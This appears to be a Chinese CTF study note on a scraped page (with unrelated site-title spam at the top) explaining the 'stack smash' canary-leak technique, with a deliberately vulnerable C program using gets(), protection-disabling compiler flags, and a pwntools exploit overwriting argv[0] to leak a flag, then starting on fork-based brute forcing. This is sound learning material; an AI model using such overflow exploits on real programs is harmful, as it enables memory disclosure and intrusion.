您现在的位置是:主页 > news > 哪些网站是做设计的/教育培训机构报名

哪些网站是做设计的/教育培训机构报名

admin2025/5/13 0:48:45news

简介哪些网站是做设计的,教育培训机构报名,做网站手机号抓取的公司,学校网站模板图片1.stack smash 具有canary保护的程序在canary检查不同时,回报错,然后打印出文件名,文件名好像是在运行的时候保存进去的。 sudo apt-get install gcc-multilib g-multilib module-assistant 当canary被改后 程序会调用 _stack_chk_failplt…

哪些网站是做设计的,教育培训机构报名,做网站手机号抓取的公司,学校网站模板图片1.stack smash 具有canary保护的程序在canary检查不同时,回报错,然后打印出文件名,文件名好像是在运行的时候保存进去的。 sudo apt-get install gcc-multilib g-multilib module-assistant 当canary被改后 程序会调用 _stack_chk_failplt…

1.stack smash

具有canary保护的程序在canary检查不同时,回报错,然后打印出文件名,文件名好像是在运行的时候保存进去的。

sudo apt-get install gcc-multilib g++-multilib module-assistant

当canary被改后

程序会调用 _stack_chk_fail@plt

然后调用__fortify__fail

源代码

__stack_chk_fail函数,它会调用__fortify_fail函数,__fortify_fail函数有一个参数,这个参数就是我们程序崩溃的时候打印出来的数据。

下边是__fortify_fail 函数的源代码。他又会调用__libc_message函数 ,__libc_message

又类似于printf(2,"***%s*** :%s terminated\n",msg,__libc_argv[0]  ?: "<unknown>");

__libc_argv[0]  ?: "<unknown>"//如果__libc_argv[0]非空的话,就输出__libc_argc[0]

否则输出<unknown>

main函数实际上是有两个参数的,第一个参数是一个int   第二个是一个char数组【文件名】,

而这个文件名,就是__libc_argv[0]

它存在于main函数函数栈的下方。

下边的是一般的测试代码,直接gcc就行

#include<stdio.h>void func()
{char a[0x10];read(0,a,0x500);return;
}
int main(void)
{func();return 0;
}

运行结果 :

下边看一个例题:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>char flag[0x40];
void inits()
{setbuf(stdin,0);setbuf(stdout,0);setbuf(stderr,0);int fd=open("./flag",0);if(fd==-1){puts("Something wrong!");exit(0);}read(fd,flag,0x30);close(fd);
}int main()
{char a[0x20];inits();puts("Hello!");gets(a);return 0;
}
//gcc stacksmash2.c -no-pie -o stacksmasht

  • NX:-z execstack / -z noexecstack (关闭 / 开启)    不让执行栈上的数据,于是JMP ESP就不能用了
  • Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)  栈里插入cookie信息
  • PIE:-no-pie / -pie (关闭 / 开启)   地址随机化,另外打开后会有get_pc_thunk
  • RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)  对GOT表具有写权限

那我们如果一开始把flag读入,故意触发canary,是不是就可以打印出来flag

如果我们知道flag的地址,那么我们可以利用栈溢出,将__libc_argv[0]所在的地址改为flag的地址,那么,就可以打印出flag。

全局变量存在于.bss段

main函数调用了inits()函数 

这里不太懂

open返回的是文件的流对象。也就是说现在fd里是flag的流。

又好像是文件描述符,

read 将fd读到定义的flag地址里,那么就是把文件flag的流写入到了flag变量的地址里。

ssize_t read(int fd, void * buf, size_t count);

read()会把参数fd 所指的文件传送count 个字节到buf 指针所指的内存中. 若参数count 为0, 则read()不会有作用并返回0.

inits函数把fd写到了flag的地址里。 

flag的地址是0x6010c0

 

通过gdb调试,查看name距离栈有多远

stack 0x100

 

要覆盖的是这里:

输入的位置是这里。 

 

 距离:

 

 

exp:

from pwn import * 
context.log_level='debug'
p=process("./stacksmasht64")
#pause()
p.sendline(b'a'*0x118+p64(0x00000000006010C0))
p.interactive()
#0x7fffffffe1b8 -0x7fffffffdce0
#0x7fffffffe1d8-0x7fffffffdce0# 0x7fffffffdce0-0x7fffffffddf8

 

 

 成功输出。

2.多进程的爆破

2.1.pid_fork(void)

创建一个新的进程,操作系统会复制父进程的地址空间中的内容给子进程

调用fork函数后,子进程与父进程的执行顺序是无法确定的。

子进程无法通过fork()来创建子进程。

该函数有三种·返回值

(1)在父进程中,fork反回新创建的进程id;

(2)在子进程中,fork返回0;

(3)如果出现错误,fork返回一个负值;